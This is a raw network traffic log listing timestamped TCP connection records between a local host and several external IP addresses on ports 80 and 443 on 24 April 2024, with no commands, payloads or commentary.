Apr 24, 2024 07:37:04.635708094 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635719061 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635720968 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635736942 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635746956 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635751963 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635766029 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635785103 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635801077 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635821104 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635838032 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635844946 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635864973 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635870934 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635900021 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635900974 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635926008 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635942936 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635966063 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.635970116 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.635979891 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636004925 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636029959 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636414051 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636425972 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636437893 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636451006 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636466026 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636501074 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636503935 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636522055 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636533022 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636543989 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636576891 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636603117 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636616945 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636629105 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636641979 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636645079 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636656046 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636667967 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636679888 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636689901 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636703014 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636715889 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636733055 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636740923 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636748075 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636780977 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636800051 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636801004 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636815071 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636827946 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636837959 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636852980 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636873960 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636888027 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636899948 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636904001 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636917114 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636933088 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636941910 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636954069 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.636966944 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636981010 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.636990070 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637023926 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637032032 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637038946 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637053013 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637059927 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637087107 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637096882 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637130976 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637135029 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637149096 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637159109 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637171030 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637192965 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637229919 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637243986 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637255907 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637259960 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637280941 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637280941 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637305021 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637306929 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637321949 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.637346029 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.637365103 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.780550003 CEST	80	49734	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:04.780714035 CEST	49734	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:04.780873060 CEST	80	49735	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:04.780968904 CEST	49735	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:04.781080961 CEST	49734	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:04.781169891 CEST	49735	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:04.926692009 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.926784992 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.926788092 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.926892042 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.926965952 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.927006960 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.927088022 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.927134991 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.927273989 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.927323103 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.927378893 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.927422047 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.927582979 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.927630901 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.927685022 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.927731991 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928039074 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928078890 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928086996 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928128958 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928136110 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928173065 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928227901 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928275108 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928325891 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928370953 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928375959 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928416014 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928431988 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928473949 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928478003 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928518057 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928527117 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928555012 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928570986 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928613901 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928617954 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928641081 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928653955 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928674936 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928702116 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928781986 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928854942 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928875923 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928908110 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928939104 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.928944111 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.928981066 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929012060 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929047108 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929060936 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929096937 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929145098 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929181099 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929208040 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929263115 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929275036 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929297924 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929312944 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929343939 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929343939 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929380894 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929413080 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929447889 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929450989 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929502010 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929516077 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929554939 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929564953 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929627895 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929673910 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929713964 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929765940 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929821014 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929867983 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929891109 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929899931 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929929972 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929940939 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929949045 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.929969072 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.929992914 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930008888 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930062056 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930089951 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930105925 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930124998 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930151939 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930164099 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930165052 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930228949 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930228949 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930238008 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930274963 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930303097 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930341005 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930346012 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930378914 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930394888 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930442095 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930459976 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930473089 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930495977 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930531979 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930535078 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930572033 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930599928 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930638075 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930675983 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930711031 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930740118 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930752993 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930775881 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930809021 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930927992 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.930962086 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.930969954 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931025982 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931030035 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931061029 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931092978 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931210995 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931248903 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931289911 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931297064 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931358099 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931361914 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931410074 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931421995 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931457043 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931484938 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931499004 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931523085 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931551933 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931593895 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931617975 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931632996 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931744099 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931777000 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.931782961 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.931816101 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932008028 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932053089 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932136059 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932180882 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932193995 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932231903 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932251930 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932276011 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932286024 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932326078 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932385921 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932429075 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932518959 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932564974 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932566881 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932596922 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932746887 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932761908 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:04.932799101 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:04.932884932 CEST	49733	80	192.168.2.4	123.140.161.243
Apr 24, 2024 07:37:05.107660055 CEST	80	49734	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.107897043 CEST	80	49735	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.110435963 CEST	80	49734	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.110518932 CEST	49734	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.110809088 CEST	80	49734	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.110862970 CEST	49734	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.112338066 CEST	80	49735	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.112449884 CEST	49735	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.112662077 CEST	80	49735	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.112709999 CEST	49735	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.132961988 CEST	49735	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.134773016 CEST	49734	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.224946022 CEST	80	49733	123.140.161.243	192.168.2.4
Apr 24, 2024 07:37:05.269979954 CEST	49736	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.461982012 CEST	80	49735	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.463382959 CEST	80	49734	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.596385956 CEST	80	49736	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.596467972 CEST	49736	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.598520041 CEST	49736	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.789350033 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:05.789388895 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:05.789489985 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:05.797235966 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:05.797251940 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:05.924932003 CEST	80	49736	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.926328897 CEST	80	49736	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.926398993 CEST	49736	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:05.927226067 CEST	80	49736	85.11.159.22	192.168.2.4
Apr 24, 2024 07:37:05.927280903 CEST	49736	80	192.168.2.4	85.11.159.22
Apr 24, 2024 07:37:06.168164015 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.168315887 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.216938019 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.217030048 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.217367887 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.217516899 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.218739986 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.264115095 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.679941893 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.679969072 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.679982901 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.680030107 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.680115938 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.680160999 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.680188894 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.884991884 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.885001898 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.885044098 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.885087967 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.885142088 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.885178089 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.885196924 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.890882969 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.890938044 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.890949965 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.891010046 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.895102978 CEST	49737	443	192.168.2.4	184.30.90.143
Apr 24, 2024 07:37:06.895133972 CEST	443	49737	184.30.90.143	192.168.2.4
Apr 24, 2024 07:37:06.920598984 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:06.920646906 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:06.920723915 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:06.921160936 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:06.921185970 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:07.253892899 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.253932953 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:07.254010916 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.261763096 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.261780977 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:07.596872091 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:07.596966982 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.601763010 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.601777077 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:07.602082014 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:07.602140903 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.603692055 CEST	49739	443	192.168.2.4	172.67.139.220
Apr 24, 2024 07:37:07.648138046 CEST	443	49739	172.67.139.220	192.168.2.4
Apr 24, 2024 07:37:07.936820030 CEST	443	49738	95.217.9.149	192.168.2.4
